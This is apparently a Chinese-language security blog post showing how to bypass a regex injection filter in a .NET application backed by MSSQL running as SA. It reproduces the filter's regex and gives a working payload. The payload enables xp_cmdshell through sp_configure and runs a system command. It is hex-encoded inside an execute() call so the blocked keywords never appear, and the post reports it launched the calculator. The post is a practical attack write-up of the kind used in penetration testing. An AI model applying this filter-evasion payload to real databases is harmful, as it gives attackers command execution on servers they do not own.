.NET 高权限下利用16进制编码绕过注入防护

0x01 背景

近期有师傅在dotNET安全矩阵微信群里讨论SQL注入实战中遇到代码层面的过滤拦截,导致无法正常注入出有价值的数据,我们知道MSSQL数据库以SA账户配置时还可以执行系统命令,本篇介绍的核心内容就是基于通过执行系统命令的方式绕过防注入正则防护。.

0x02 实战

如下代码GetCarousel方法传递的stationid和screenkeyword均参与了SQL查询,理论上这两个参数都可以被利用注入,POST请求传递stationid=and时出现拦截信息,如下图

.NET 高权限下利用16进制编码绕过注入防护

.NET 高权限下利用16进制编码绕过注入防护

通过排查代码发现接手POST请求时所有的参数均通过一层CheckData方法过滤

.NET 高权限下利用16进制编码绕过注入防护

CheckData方法代码如下,一段非常严谨的正则表达式,封锁了select/or/and/exec/insert/update等等关键词和特殊符号

if (Regex.IsMatch(inputData, "<[^>]+?style=[\\w]+?:expression\\(|\\b(alert|confirm|prompt)\\b|^\\+/v(8|9)|<[^>]*?=[^>]*?&#[^>]*?>|\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|/\\*.+?\\*/|<\\s*script\\b|<\\s*img\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|\\bWAITFOR\\b.*?\\bDELAY\\b.*?|\\b(and|or)\\b", RegexOptions.IgnoreCase))

.NET 高权限下利用16进制编码绕过注入防护

由于MSSQL支持16进制编码,而且Execute关键词可以完全替代掉exec,所以可以将xp_cmdshell执行存储过程做如下编码

exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 1;reconfigure;exec xp_cmdshell 'calc'
  •  
execute('declare @s varchar(2000) set @s=0x657865632073705f636f6e666967757265202773686f7720616476616e636564206f7074696f6e73272c20313b7265636f6e6669677572653b657865632073705f636f6e666967757265202778705f636d647368656c6c272c20313b7265636f6e6669677572653b657865632078705f636d647368656c6c202763616c6327 execute(@s)') --

编码后已经完全没有特征字符,成功绕过注入防护执行命令弹出计算器

.NET 高权限下利用16进制编码绕过注入防护